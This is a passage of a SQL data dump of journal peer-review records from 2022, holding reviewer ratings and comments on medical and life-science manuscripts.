instructions. \r\n2-Please follow the journal\r\ninstructions for references.\r\n3. Please ad clear images/figures\r\n4. Please ad some literature of review','2022-06-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5097,16861,12662,NULL,'5','G','D','D','Y','1-References should be written according to journal instructions. \r\n2-Please follow the journal\r\ninstructions for references.\r\n3. Please ad clear images/figures\r\n4. Please ad some literature of review','1-References should be written according to journal instructions. \r\n2-Please follow the journal\r\ninstructions for references.\r\n3. Please ad clear images/figures\r\n4. Please ad some literature of review','2022-06-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5098,645,12723,NULL,'4','G','Y','Y','Y','This is a well written article. Abstract is too small. Author need to elaborate the abstract part. Minor revision needed before acceptance.','','2022-06-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5099,12875,12562,NULL,'5','R','N','Y','Y','None','Access to Fig 1 & 2 would have helped','2022-07-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5100,18425,8353,NULL,'A','R','N','N','N','There is no novelty in the article. Kindly reject immediately.','1. The algorithm to detect and indication of brain tumor is missing\r\n2. No objective evaluation is performed.\r\n','2022-07-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5101,936,12771,NULL,'5','g','y','y','y','Left ventricular mechanical dispersion measured by two dimensional speckle tracking echocardiography (MD) is a novel strain derived parameter that reflects temporal cardiac contraction heterogeneity and has consequently gained attention as a predictor of increased arrhythmic risk in selected cardiac diseases. It is recommended that the manuscript be published without any more revisions.','Left ventricular mechanical dispersion measured by two dimensional speckle tracking echocardiography (MD) is a novel strain derived parameter that reflects temporal cardiac contraction heterogeneity and has consequently gained attention as a predictor of increased arrhythmic risk in selected cardiac diseases. It is recommended that the manuscript be published without any more revisions.','2022-07-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5102,13099,12728,NULL,'5','g','y','y','y','The objective of this study is to identify bariatric surgery as a treatment modality to reduce COVID-19 related morbidity, mortality and complication rate in the obese patients. This study.\r\ninvolves the comparison of 2 researches in which COVID-19  affected patients were assessed for their severity of disease on the basis of their history of bariatric/ metabolic surgery .It is recommended that the manuscript be published without any more revisions.','The objective of this study is to identify bariatric surgery as a treatment modality to reduce COVID-19 related morbidity, mortality and complication rate in the obese patients. This study.\r\ninvolves the comparison of 2 researches in which COVID-19  affected patients were assessed for their severity of disease on the basis of their history of bariatric/ metabolic surgery .It is recommended that the manuscript be published without any more revisions.','2022-07-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5103,21446,12501,NULL,'1','D','n','y','n','Please use a standard definition of vasculitis backed by a citation.\r\nControversial inclusions such as atherosclerosis, lymphangitis into vasculitis can be avoided.\r\n\r\nAngiitis is inflammation of the arteries, not synonymous with CNS vasculitis.\r\n\r\nOverall, the perspective looks good for a general medicine rather than a rheumatology audience. It goes off tangentially from the main focus of PACNS to Bechet’s disease or other secondary causes of vasculitis.\r\n\r\nSome sentences such as  “While the immune system\'s primary function is to protect the body, it can occasionally become \"overactive\" and attack the body” appear to be targeted at school children. \r\n\r\nFinally I could not find any strong message from the perspective.\r\n','','2022-07-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5104,11520,12827,NULL,'5','G','Y','Y','Y','Regarding Prevalence Of Polycystic Ovarian Syndrome In Women Of Child Bearing Age Within Port Harcourt Metropolis In Nigeria Using Sonographic Evaluation is positive case of polycystic ovarian syndrome, it can be concluded that polycystic ovarian syndrome is common in women of child bearing age in Port Harcourt Metropolis in the South-South region of Nigeria. The affected ages were 22 to 26 years, with highest population within ages 27 to 31 years and most common clinical presentations being primary and secondary infertility.\r\nOver all well written article and please publish in online site.','Accepted','2022-07-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5105,21397,12840,NULL,'3','D','Y','M','Y','Polistina and colleagues reported on patients admitted to a tertiary referral centre from Jan 2021 to Oct 2021, due to respiratory failure related to COVID-19 pneumonia. The manuscript is overall clear and well written, and provides some interesting insight on this topic. However, I have some comments I would like the authors to address.\r\nThe abstract is an introduction, rather then a summary of objectives, methods, results and discussion.\r\nAuthors refer to China as the epicentre of the pandemic, while this is not the case from at least 2 years. I would recommend authors at least differentiate the first wave of the pandemic (during which admissions were driven by poor disease knowledge), from following waves (which are those they are actually referring to). Overall, references are quite outdated within the rapidly evolving literature of COVID19, and authors absolutely need to update them. \r\nAuthors should account for vaccination status of admitted patients.\r\nThe manuscript requires full revision by native English speaker.\r\n\r\n','Polistina and colleagues reported on patients admitted to a tertiary referral centre from Jan 2021 to Oct 2021, due to respiratory failure related to COVID-19 pneumonia. The manuscript is overall clear and well written, and provides some interesting insight on this topic. However, I have some comments I would like the authors to address.\r\n','2022-07-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5106,21409,12834,NULL,'5','G','Y','Y','Y','The All Test HCV Rapid Test Cassette (Whole Blood/Serum/Plasma) is a rapid chromatographic immunoassay for the qualitative detection of antibody to HCV in whole blood, serum or plasma. The test is accurate with simple operation, low contamination risk, easy visual interpretation and fast results. The HCV Rapid Test Kits manufactured by All Test are an important diagnostic tool for the early diagnosis of HCV.\r\n\r\nresults of tested samples, it presents that the HCV Rapid Test Kit developed by Hangzhou All Test Biotech Co., Ltd meets the requirements of intended use. The HCV Rapid Test Kits is expected to improve the accuracy of HCV testing and could be an effective preventive tool for hepatitis C.','The All Test HCV Rapid Test Cassette (Whole Blood/Serum/Plasma) is a rapid chromatographic immunoassay for the qualitative detection of antibody to HCV in whole blood, serum or plasma. The test is accurate with simple operation, low contamination risk, easy visual interpretation and fast results. The HCV Rapid Test Kits manufactured by All Test are an important diagnostic tool for the early diagnosis of HCV.\r\n\r\nresults of tested samples, it presents that the HCV Rapid Test Kit developed by Hangzhou All Test Biotech Co., Ltd meets the requirements of intended use. The HCV Rapid Test Kits is expected to improve the accuracy of HCV testing and could be an effective preventive tool for hepatitis C.','2022-07-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5107,13886,12822,NULL,'4','G','D','Y','N','This article discusses about health seeking behavior among people enrolled in a social health insurance scheme in Anambra state, Nigeria.\r\n\r\nThe abstract is well presented. All details have been presented. However, the conclusion can be changed.\r\n\r\nThe introduction section provides background information about social health insurance and ASHIS. Between these two, some background information about health status of Anambra state as well as the rationale of initiation of the social health insurance program is required.\r\n\r\nThe methods section is well presented. All sections are well described. \r\n\r\nThe results are fine. All details have been presented. Tables are appropriate and described sufficiently.\r\n\r\nThe discussions are ok. Well presented with evidences.\r\n\r\nThe conclusion is fine. Similar information needs to be presented in the conclusion in the abstract section as well.\r\n\r\nThe references are valid and sufficient.','','2022-07-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5108,18593,12530,NULL,'5','G','Y','Y','Y','Core training appears to have positive results in improving functionality and values of cough peak flow in hospitalized patients, The limitations of this study are: small sample size because some patients did not complete the intervention due to various reasons and some did not meet the inclusion criteria; some patients benefited from breathing exercises, which may have contributed to the positive results the fact that some patients are under the effects of medication, namely antihypertensive drugs, may cause some bias in the data, taking into account that they cause a decrease in blood pressure and heart rate during exercise.','Core training appears to have positive results in improving functionality and values of cough peak flow in hospitalized patients, The limitations of this study are: small sample size because some patients did not complete the intervention due to various reasons and some did not meet the inclusion criteria; some patients benefited from breathing exercises, which may have contributed to the positive results the fact that some patients are under the effects of medication, namely antihypertensive drugs, may cause some bias in the data, taking into account that they cause a decrease in blood pressure and heart rate during exercise.','2022-07-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5109,21377,12858,NULL,'4','R','D','Y','N','1. The title is very precise, it needs to be more specific\r\n2. It would be better to add \"method\" section to your manuscript, regarding your search strategies.\r\n3. There are grammar errors needing to be revised.\r\n4. Provide reference for the sentence \"Although the most likely cause of this ongoing degeneration is an ongoing buildup of misfolded hyperphosphorylated tau that directly contributes to the loss of more neurons, the exact mechanism is unknown.\"\r\n5. What does \"BACE\" stand for?\r\n6. Many of the references provided are published many years ago. Better to use references published over the recent years.','Thanks for your invitation.\r\nI believe that this paper is appropriate for publication after making the required revisions.\r\nHowever, the neurobiology of Alzheimer\'s disease is not the area of my expertise, and therefore I\'d rather not to comment on the more scientific and specialized aspects of the manuscript.','2022-07-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5110,21374,12695,NULL,'5','G','Y','Y','Y','The prevalence of perceived stress during pregnancy was high in study area. Antenatal care follow-up <16 weeks of 42 gestation, participants who haven’t family emotional support, recent family death participants’ family members and fear of exposure to coronavirus were significantly associated with perceived stress during the pregnancy. Therefore, ministry of health to incorporate screening the status of pregnancy perceived stress into basic antenatal care guidelines to screen for psychosocial stress during pregnancy very important.','The prevalence of perceived stress during pregnancy was high in study area. Antenatal care follow-up <16 weeks of 42 gestation, participants who haven’t family emotional support, recent family death participants’ family members and fear of exposure to coronavirus were significantly associated with perceived stress during the pregnancy. Therefore, ministry of health to incorporate screening the status of pregnancy perceived stress into basic antenatal care guidelines to screen for psychosocial stress during pregnancy very important.','2022-07-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5111,21476,12838,NULL,'2','g','n','y','n','GENERAL COMMENT\r\n\r\n\r\nThe grammar is poor,. You may need help with the grammar. Use grammarly.com or quillbot.com\r\nYou did not justify the provision of a model; you did not say how the model was developed; you did not provide interpretations of the flow diagram presented as the supposed model\r\n\r\n','GENERAL COMMENT\r\n\r\n\r\nThe grammar is poor,. You may need help with the grammar. Use grammarly.com or quillbot.com\r\n\r\n\r\n\r\nThe authors did not justify the provision of a model; they did not say how the model was developed; they did not provide interpretations of the flowdiagram presented as the supposed model\r\n\r\n','2022-07-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5112,21476,12781,NULL,'3','g','n','y','y','The grammar is very poor. The authors may need help. Too many missing information in the main body of the work, especially in the INTRODUCTION and methodology','The grammar is very poor. The authors may need help.','2022-07-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5113,17409,12104,NULL,'5','r','y','y','y','manuscript was accepted to publish','','2022-07-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5114,18427,12819,NULL,'5','r','y','y','y','manuscript was accepted to publish','','2022-07-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5115,17408,12177,NULL,'5','r','y','y','y','accepted to publish','','2022-07-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5116,21475,12177,NULL,'4','R','Y','M','Y','You should improve your methodology in brief with challenge. And check the reference portion.','After this correction you can published this paper.\r\n\r\nThank and best regards,\r\nDr. Md. Tarek Hossain \r\nDirector, Research and Training Center, BEC','2022-07-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5117,21475,12177,NULL,'4','R','Y','M','Y','You should improve your methodology in brief with challenge. And check the reference portion.','After this correction you can published this paper.\r\n\r\nThank and best regards,\r\nDr. Md. Tarek Hossain \r\nDirector, Research and Training Center, BEC','2022-07-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5118,21475,12862,NULL,'3','R','Y','M','Y','Your study degine should be improve and define study fault as well as development. \r\n','After major revision you can published this paper.\r\n\r\n\r\nThank you very much and best regards,\r\nDr. Md. Tarek Hossain \r\nDirector, Research and Training Center, BEC ','2022-07-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5119,21392,12840,NULL,'5','G','Y','Y','Y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent','Accept for publication ','2022-08-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5120,21475,12883,NULL,'4','r','y','m','y','Some grammatical mistake that\'s why revise and correct it..','After some grammatical mistake you can published this paper.','2022-08-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5121,21416,12835,NULL,'5','G','Y','Y','Y','About the study of the All Test HBsAg Rapid Test kit is a simple, fast, easy-to-run and highly sensitive assay that can be used in both high- and low-risk populations for the diagnosis of HBsAg carriage with 99.7% accuracy. As many studies indicate, rapid diagnostic tests appear as promising new tools for large-scale screening and diagnosis of HBV infection in clinical settings.\r\n\r\nOver all well written article and go head for publish ','About the study of the All Test HBsAg Rapid Test kit is a simple, fast, easy-to-run and highly sensitive assay that can be used in both high- and low-risk populations for the diagnosis of HBsAg carriage with 99.7% accuracy. As many studies indicate, rapid diagnostic tests appear as promising new tools for large-scale screening and diagnosis of HBV infection in clinical settings.\r\n\r\nOver all well written article and go head for publish','2022-08-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5122,20788,12885,NULL,'5','g','y','y','y','manuscript was accepted to publish','','2022-08-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5123,20788,12905,NULL,'4','g','y','y','y','1.No results for (MDRD = Modification of Diet in Renal Disease Study)\r\n2.No results for Cystatin C and creatinine\r\n3.The only results available are population proportions\r\n4.(MDRD = Modification of Diet in Renal Disease Study) is used for patients who already have renal disease','Accepted ','2022-08-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5124,18830,12907,NULL,'4','g','y','y','y','1.	No results presented at all\r\n2.	The so-called agents were never presented\r\n3.	Bacteriological assays had no results\r\n','accepted','2022-08-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5125,21393,12848,NULL,'5','G','Y','Y','Y','The study regarding clinical findings changed the clinical scenario and updated triage strategy are needed. Patients with lung failure could be always easily identified because associated to typical signs and symptoms have anamnestic relevant data (e.g. immunocompromised patients or antivax people or non-responders to vaccines); yet also patients without recent clinical findings of lung failure may be found with interstitial pneumonia that should be investigated with a torough differential diagnosis including also the research of SARS CoV2 on nasopharyngeal swab or bronchoalveolar lavage. So, based on knowledge gained in these months of pandemic a strategy to perform diagnosis of COVID-19 also in absence of classic signs and symptoms should be performed taken into account utility of anamnesis, laboratory and microbiological tests and radiological findings, radiological features on thoracic CT scan (i.e. evidence of interstitial pneumonia, in this case high resolution CT scan is the golden choice) and microbiological tests (i.e. NPS and/or  BAL to detect viral RNA with real time PCR), while laboratory findings may be useful also to identify subjects at risk of clinical severe complications as bacterial overlapping as far as sepsis as far as thromboembolism as far as hearth failure.\r\nOver all well written article and go head for publications ','The study regarding clinical findings changed the clinical scenario and updated triage strategy are needed. Patients with lung failure could be always easily identified because associated to typical signs and symptoms have anamnestic relevant data (e.g. immunocompromised patients or antivax people or non-responders to vaccines); yet also patients without recent clinical findings of lung failure may be found with interstitial pneumonia that should be investigated with a torough differential diagnosis including also the research of SARS CoV2 on nasopharyngeal swab or bronchoalveolar lavage. So, based on knowledge gained in these months of pandemic a strategy to perform diagnosis of COVID-19 also in absence of classic signs and symptoms should be performed taken into account utility of anamnesis, laboratory and microbiological tests and radiological findings, radiological features on thoracic CT scan (i.e. evidence of interstitial pneumonia, in this case high resolution CT scan is the golden choice) and microbiological tests (i.e. NPS and/or  BAL to detect viral RNA with real time PCR), while laboratory findings may be useful also to identify subjects at risk of clinical severe complications as bacterial overlapping as far as sepsis as far as thromboembolism as far as hearth failure.\r\nOver all well written article and go head for publications ','2022-08-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5126,12531,12836,NULL,'5','G','Y','Y','Y','Regarding study Based on the detection of parasite antigens in patient blood, RDTs effectively offer qualitative diagnosis to determine whether an individual has been infected with malaria using immunochromatographic lateral flow devices.\r\nThe manuscript is well written and go head for publications.','Regarding study Based on the detection of parasite antigens in patient blood, RDTs effectively offer qualitative diagnosis to determine whether an individual has been infected with malaria using immunochromatographic lateral flow devices.\r\nThe manuscript is well written and go head for publications.','2022-08-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5127,12531,12836,NULL,'5','G','Y','Y','Y','Regarding study Based on the detection of parasite antigens in patient blood, RDTs effectively offer qualitative diagnosis to determine whether an individual has been infected with malaria using immunochromatographic lateral flow devices.\r\nThe manuscript is well written and go head for publications.','Regarding study Based on the detection of parasite antigens in patient blood, RDTs effectively offer qualitative diagnosis to determine whether an individual has been infected with malaria using immunochromatographic lateral flow devices.\r\nThe manuscript is well written and go head for publications.','2022-08-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5128,18594,12697,NULL,'5','G','Y','Y','Y','The study regarding Rabies, a viral disease caused by lyssa virus of family Rhabdoviridae. It is a fatal zoonotic disease with worldwide occurrence and endemic in developing countries of Africa and Asia. The disease generally affects all warm-blooded animals, even though it is primarily a disease of dogs in Ethiopia and elsewhere in Africa. More than 95% of human rabies cases are due to bites by infected animals, predominantly from saliva of domestic dogs. Once clinical symptoms appear, it is almost 100% fatal, in which the disease is one of the major public-health burdens in Ethiopia.\r\nthe article is well written and good explanation ','The study regarding Rabies, a viral disease caused by lyssa virus of family Rhabdoviridae. It is a fatal zoonotic disease with worldwide occurrence and endemic in developing countries of Africa and Asia. The disease generally affects all warm-blooded animals, even though it is primarily a disease of dogs in Ethiopia and elsewhere in Africa. More than 95% of human rabies cases are due to bites by infected animals, predominantly from saliva of domestic dogs. Once clinical symptoms appear, it is almost 100% fatal, in which the disease is one of the major public-health burdens in Ethiopia.\r\nthe article is well written and good explanation','2022-08-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5129,17408,12911,NULL,'4','g','y','y','y','1)Results presented but no evidence of work done\r\n2)Molecular identitifcation grossly faulted\r\n3)Fungal identification doubted\r\n','','2022-08-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5130,17407,12918,NULL,'5','r','y','y','n','accepted to publish the manuscript','','2022-08-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5131,17407,12918,NULL,'5','r','y','y','n','accepted to publish the manuscript','','2022-08-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5132,21494,12923,NULL,'G','Y','Y','Y','Y','This manuscript needs a major revision.\r\n\r\n1) The manuscript need to be revised by any senior author or writer as lot of grammatical errors.\r\n2) You should follow the journal guideline while writing this manuscript.\r\n3) Write more details in background section, include Discussion part in your manuscript.\r\n4) No key words are mentioned, No abbreviation are mentioned\r\n5) Yo have included a lot of old references, which would effect our internal and external generalizability of our research. try to do your research with 5-10 years old reference.\r\n6) Apart from the graph, include 2 figures in your manuscript\r\n\r\n','Major revision is required, I mentioned in above section','2022-08-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5133,20788,12919,NULL,'5','g','y','y','y','well written manuscript','','2022-08-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5134,10976,12759,NULL,'5','G','Y','Y','Y','Findings suggested a significant positive correlation between substance abuse and Negative affectivity domain (.264, p= .008) and Disinhibiting domain (.225, p= .024) of personality dysfunction; and a significant positive correlation between substance abuse and Turning against object cluster (.242, p= .015) of Defence mechanisms in patients. These findings were consistent with the literature review.\r\n\r\nThe hypothesis 2 being verified shows that substance abuse in patients are more susceptible to using defense mechanisms like displacement, identification with the aggressor or other such defenses that deal with conflict by attacking a real or supposed external frustrating.','Accepted for publications','2022-08-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5135,20696,12904,NULL,'5','G','Y','Y','Y','Accepted for Publication','  ','2022-08-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5136,21377,12856,NULL,'1','R','N','M','N','The paper is not written scientifically, and it is not a scientifically reliable work\r\nIt does not confer new information and knowledge\r\nMany figures are unnecessary\r\nNo references are included for many sentences needing a reference. ','The paper is not written scientifically, and it is not a scientifically reliable work\r\nIt does not confer new information and knowledge\r\nMany figures are unnecessary\r\nNo references are included for many sentences needing a reference. ','2022-08-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5137,20696,12991,NULL,'5','G','Y','Y','Y','Manuscript was accepted to publish','  ','2022-09-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5138,20696,12990,NULL,'5','G','Y','Y','Y',' Manuscript was ready to publish','','2022-09-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5139,21476,13000,NULL,'4','g','y','y','y','Comment 1:\r\n1.	Accept manuscript subject to the minor corrections.\r\n2.	The discussion was poorly written, more literature review should be done so that the study can be compared with other similar studies else where\r\nComment 2:\r\nBlood glucose level\r\n(Patients having RBS level above 120 mg/dl and FBS above 140 mg/dl were considered in diabetic category)\r\nThis is incorrect. Check up the criteria for making diagnosis of diabetes and make the appropriate correction\r\nData was analyzed using IBM SPSS Software version 26-State the kind of analyses done\r\nComment 3:\r\nThe discussion is poorly written\r\nYou don’t need to state results in your discussion\r\nCompare your findings with what others have done from exiting literature review and lets know if your study is in agreement or not with previous studies','','2022-09-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5140,20788,12924,NULL,'5','g','y','y','y','manuscript was accepted to publish','','2022-09-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5141,20788,12987,NULL,'5','g','y','y','y','manuscript was accepted to publish','','2022-09-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5142,21476,13038,NULL,'4','g','y','y','y','comment 1: Current approaches in addressing corneal shortages \r\nThe authours should do a review of challenges / problems and causes of corneal shortage before addressing current approaches in addressing corneal shortage\r\nArticle was well written accept for the publication.\r\n','','2022-09-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5143,21476,13038,NULL,'4','g','y','y','y','comment 1: Current approaches in addressing corneal shortages \r\nThe authors should do a review of challenges / problems and causes of corneal shortage before addressing current approaches in addressing corneal shortage\r\nArticle was well written accept for the publication.\r\n','','2022-09-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5144,21519,13052,NULL,'5','G','Y','Y','Y','Study showed a highly statistically significant increase in the anastomosis time mostly due to the sophisticated handling of tissue, time is taken for adventitia trimming, and the increase in sutures number in comparison to sleeve technique plus the necessity to flip-flop the wall for posterior wall suturing and the patency rates were nearly equal in both groups. As previously known how much micro vascular surgery takes time and effort.\r\nArticle have all needed headings like\r\nTitle \r\nAbstract\r\nIntroduction\r\nMethods\r\nDiscussion\r\nResults \r\nconclusion etc....\r\n\r\nwell explained by figures about surgery well written article.\r\n\r\n','Accept','2022-09-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5145,21475,13059,NULL,'5','g','y','y','y','manuscript was accepted to publish','','2022-09-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5146,21473,12850,NULL,'2','R','Y','M','Y','The research lacks innovation, but may have some practical implications in Nigeria. The statistical graphs in the manuscript may be a bit problematic. The statistical methods of the article also need to be confirmed to be reasonable, especially binary logistic regression.','The research lacks innovation, but may have some practical implications in Nigeria. The statistical graphs in the manuscript may be a bit problematic. The statistical methods of the article also need to be confirmed to be reasonable, especially binary logistic regression.','2022-09-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5147,21484,12867,NULL,'5','G','Y','Y','Y','The article was well written and please go for publications,\r\n\r\nMost of the intraoperative finding in the study was SBO, primary SBV being the most common which is different from western setup in which adhesion and band is the leading etiology. Significant numbers of patients experience unfavorable surgical management outcome (postoperative complications and/or death) in the study area. Ileus is the most common postoperative complication followed by SSI. Morbidity and mortality after surgical management of bowel obstruction vary with determinant factors like age, leukocytosis, preoperative diagnosis, and intraoperative finding.','Accepted ','2022-09-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5148,21374,12912,NULL,'5','G','Y','Y','Y','The study Regarding more than half of the adults attending outpatient at WSUCSH were characterized having high metabolic syndrome. The prevalence of metabolic syndrome higher in women than compared to men and increased with age. Being female, older age, obesity, smoking, and drinking alcohol were significantly associated with metabolic syndrome. Metabolic syndrome is more prevalent in participants with increased body mass index and inactive individuals. \r\nOver all well written article \r\n\r\nPlease go head for publications \r\n\r\n','Accepted','2022-09-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5149,21497,12923,NULL,'5','G','Y','Y','Y','The introduction of study regarding Lipoprotein (a) (Lp a) is a cardiovascular risk factor that has been under intense investigation in recent years and article have some grammatical errors and rectify before publish.\r\nThis Hypothesis  paper have all needed headings and standard data Young and middle aged patients < 65y years presented with acute vascular ischemic event (MI and stroke) were independently associated with elevated Lp (a), especially in patients with MI, young aged and with FH for premature acute vascular ischemic event.','The introduction of study regarding Lipoprotein (a) (Lp a) is a cardiovascular risk factor that has been under intense investigation in recent years and article have some grammatical errors and rectify before publish.\r\nThis Hypothesis  paper have all needed headings and standard data Young and middle aged patients < 65y years presented with acute vascular ischemic event (MI and stroke) were independently associated with elevated Lp (a), especially in patients with MI, young aged and with FH for premature acute vascular ischemic event.','2022-09-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5150,21530,13063,NULL,'5','g','y','y','y','I reviewed the article entitled \"Efficacy of varying inclusion levels of oxalic acid on growth performance, carcass composition of Oreochromis niloticus and challenge test with Escherichia coli\", please find my comments.\r\n\r\nI do agree that, this paper has demonstrated that supplementation of oxalic acid probably increased the epithelial layer of intestine and thus increased diffusion of nutrients into the tissue to improve fish growth and did not pose any negative impact on carcass quality and Fish farmers should therefore be enlightened on the use of organic acids in fish diets. Carcass analysis of the whole body illustrated that the dietary organic acid influenced the nutrient retention in experimental fish\r\n\r\n1.    Article is attractive, title is suitable for the article\r\n2.    The manuscript provides sufficient background information for readers\r\n3.    The text is well arranged \r\n4.    There are no grammatical errors in this article\r\n5.    Pictorial representation added more value to this article \r\n6.    It can be accepted for publication without any changes, this study will definitely support the further studies.','I recommend to publish this article without any changes, having much information for reader\'s.','2022-09-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5151,7418,12908,NULL,'5','G','Y','Y','Y','Article is according to the norms of journal. It contains new things and is adding knowledge for readers. So it can be accepted for publication','Article is according to the norms of journal. It contains new things and is adding knowledge for readers. So it can be accepted for publication','2022-09-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5152,21529,13102,NULL,'5','G','Y','Y','N','I think this is a very convinced article. The authors did a very a detailed and comprehensive statistical analysis, with detailed outcome explanation. I don\'t have any concerns about this article. I think this article should be accepted and published!','','2022-10-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5153,7416,13108,NULL,'g','y','y','y','y','The author has explained  in clear manner the introduction provides the new information and the article an publish with minor 